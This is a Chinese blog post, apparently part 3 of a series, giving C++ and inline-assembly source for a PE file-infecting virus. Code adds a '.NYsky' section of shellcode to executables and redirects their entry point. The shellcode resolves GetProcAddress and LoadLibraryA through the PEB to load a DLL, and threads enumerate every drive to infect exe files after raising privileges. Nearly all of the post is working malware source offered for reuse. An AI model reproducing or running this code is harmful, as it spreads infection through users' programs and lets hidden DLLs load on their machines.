您的位置:首页 > 其它

PE型感染病毒 —— 增加节点修改PE入口 (3)

2009-12-20 17:29 337 查看
这套源码并非原创,而是参考llydd
大佬的文章,通过在PE文件中增加新节点,并在新节中增入SHELL CODE来加载指定DLL从而实现XX....

原文地址:http://bbs.pediy.com/showthread.php?t=36497

 

所以可以根据遍历PE文件节点来判断是还被感染过,下面是自己根据自己的工程需要,适当修改了其中一小部分代码:

1、判断PE文件是否被感染过




/************************************************************************/
/* 函数说明:判断文件是否被感染
/* 参    数:strFile	文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma   2009.12.14 22:35
/************************************************************************/
BOOL IsInfect(CString strFile)
{
HANDLE	hFile;								// 保存文件句柄
HANDLE	hMapping;							// 内存文件映射句柄
void*	pBasePointer;						// PE入口点
int		dwSestion;							// 节结数
int		i;									// 临时循环变量
BOOL	bRet = FALSE;						// 返回值

IMAGE_DOS_HEADER *imDos_Headers;			// 定义DOS头
IMAGE_NT_HEADERS *imNT_Headers;				// 定义PE头
IMAGE_SECTION_HEADER *imSECTION_Headers;	// 定义SECTION表头

// 打开文件
hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,0);
if (hFile==INVALID_HANDLE_VALUE){
GetLastError();
return FALSE;
}

// 创建内存映射文件
if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}

// 设置初始指针地址
imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;
if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}

// NT头指针地址
imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);

// 读取节表名
CString strTemp = "";
CString strSectionName;
for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
{
strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);
strSectionName = strSectionName + strTemp;
dwSestion = i;
}

// 查找节点是否存在
// MessageBox(strSectionName);
if(strSectionName.Find(".data")>0){
bRet = TRUE;
}

// 关闭句柄、释放文件
CloseHandle(hFile);
CloseHandle(hMapping);
return bRet;
}

 

 

2、感染指定的PE文件


/************************************************************************/
/* 函数说明:感染exe文件
/* 参    数:strFile	文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma   2009.12.15 21:48
/************************************************************************/
BOOL InfectPE(CString strFilePath)
{
FILE*					rwFile;						// 被感染的文件
IMAGE_SECTION_HEADER	NewSection;					// 定义要添加的区块
IMAGE_NT_HEADERS		NThea;						//
DWORD					pNT;						// pNT中存放IMAGE_NT_HEADERS结构的地址
int						nOldSectionNo;
int						OEP;

if((rwFile=fopen(strFilePath,"rb"))==NULL){			// 打开文件失败则返回
return FALSE;
}

if(!CheckPE(rwFile)){								// 如果不是PE文件则返回
return FALSE;
}

fseek(rwFile,0x3c,0);
fread(&pNT,sizeof(DWORD),1,rwFile);
fseek(rwFile,pNT,0);
fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);	// 读取原文件的IMAGE_NT_HEADERS结构
nOldSectionNo=NThea.FileHeader.NumberOfSections;	// 保存原文件区块数量
OEP=NThea.OptionalHeader.AddressOfEntryPoint;		// 保存原文件区块OEP
IMAGE_SECTION_HEADER	SEChea;						// 定义一个区块存放原文件最后一个区块的信息
int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
int FILE_ALIG=NThea.OptionalHeader.FileAlignment;	// 保存文件对齐值与区块对齐值
memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
fseek(rwFile,pNT+248,0);							// 读原文件最后一个区块的信息
for(int i=0;i<nOldSectionNo;i++)
fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);

FILE	*newfile = fopen(strFilePath,"rb+");
if(newfile==NULL){
return FALSE;
}
fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
goto shellend;
__asm
{
shell:  PUSHAD
MOV  EAX,DWORD PTR FS:[30H]		;FS:[30H]指向PEB
MOV  EAX,DWORD PTR [EAX+0CH]	;获取PEB_LDR_DATA结构的指针
MOV  EAX,DWORD PTR [EAX+1CH]	;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV  EAX,DWORD PTR [EAX]		;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV  EAX,DWORD PTR [EAX+08H]	;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV  EBP,EAX					;将Kernel32.dll模块基址地址放至kernel中
MOV  EAX,DWORD PTR [EAX+3CH]	;指向IMAGE_NT_HEADERS
MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表
MOV  ECX,[EBP+EAX+24]			;取导出表中导出函数名字的数目
MOV  EBX,[EBP+EAX+32]			;取导出表中名字表的地址
ADD  EBX,EBP
PUSH WORD  PTR 0X00				;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV  EDX,ESP
PUSH ECX

F1:
MOV  EDI,EDX
POP  ECX
DEC  ECX
TEST  ECX,ECX
JZ  EXIT
MOV  ESI,[EBX+ECX*4]
ADD  ESI,EBP
PUSH  ECX
MOV  ECX,15
REPZ  CMPSB
TEST  ECX,ECX
JNZ  F1

POP  ECX
MOV  ESI,[EBP+EAX+36]			;取得导出表中序号表的地址
ADD  ESI,EBP
MOVZX  ESI,WORD PTR[ESI+ECX*2]	;取得进入函数地址表的序号
MOV  EDI,[EBP+EAX+28]			;取得函数地址表的地址
ADD  EDI,EBP
MOV  EDI,[EDI+ESI*4]			;取得GetProcAddress函数的地址
ADD  EDI,EBP

PUSH WORD PTR 0X00				;构造LoadLibraryA字符串
PUSH DWORD PTR 0X41797261
PUSH DWORD PTR 0X7262694C
PUSH DWORD PTR 0X64616F4C
PUSH ESP
PUSH  EBP
CALL  EDI						;调用GetProcAddress取得LoadLibraryA函数的地址
PUSH  WORD PTR 0X00				;添加参数“test”符串
PUSH  DWORD PTR 0X74736574
PUSH  ESP
CALL  EAX
EXIT:  ADD ESP,36							;平衡堆栈
POPAD
}
shellend:
char*	pShell;
int		nShellLen;
BYTE	jmp = 0xE9;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
}

// 写入SHELLCODE,
for(i=0;i<nShellLen;i++)
fputc(pShell[i],newfile);

// SHELLCODE之后是跳转到原OEP的指令
NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile);

// 将最后增加的数据用0填充至按文件中对齐的大小
for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
fputc('/0',newfile);

// 新区块中的数据
strcpy((char*)NewSection.Name,".NYsky");
NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
NewSection.Misc.VirtualSize=nShellLen;
NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
NewSection.Characteristics=0xE0000020;

// 新区块可读可写可执行、写入新的块表
fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);

int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
fseek(newfile,pNT,0);
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
NThea.OptionalHeader.SizeOfImage=nNewImageSize;
NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;

// 写入更新后的PE头结构
fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
fclose(newfile);
fclose(rwFile);
return TRUE;
}


 

3、线程参数类定义


/////////////////////////////////////////////////////////////////////////////
// DiskInfo class
// 采用多线程感染每一个磁盘驱动器
//
class  DiskInfo
{
public:
CString m_strName;					// 磁盘名称,例如C:
CString m_strFilePath;				// 感染文件的绝对路径
BOOL	m_bCurFileIsInject;			// 判断该文件是否被感染过
DiskInfo();							// 构造函数,用来初始化成员变量
};
/////////////////////////////////////////////////////////////////////////////
// DiskInfo 构造函数
// 初始化成员变量
//
DiskInfo::DiskInfo()
{
m_strFilePath = _T("");
m_strName	  = _T("");
}


 

4、线程函数


/************************************************************************/
/* 函数说明:线程 —— 感染指定exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadInject(LPVOID lpParameter)
{
DiskInfo *diParam = (DiskInfo *)lpParameter;
BOOL	 bRet = InfectPE(diParam->m_strFilePath);
if(bRet)
return 0;
return -1;
}
/************************************************************************/
/* 函数说明:线程 —— 遍历驱动器exe文件
/* 参    数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma   2009.12.17 14:05
/************************************************************************/
DWORD ThreadDisk(LPVOID lpParameter)
{
DiskInfo *diParam = (DiskInfo *)lpParameter;
BOOL	 bRet = EmuDiskFiles(diParam->m_strName);
if(bRet)
return 0;
return -1;
}
/************************************************************************/
/* 函数说明:WinMain —— 程序入口函数
/* 参    数:参见MSDN
/* 返 回 值:退出代码
/* By:Koma   2009.12.18 22:32
/************************************************************************/
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
RaiseToDebug();								// 提升权限
EmuAllDisk();								// 依次启动遍历磁盘线程、遍历文件
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  image header file dos winapi exe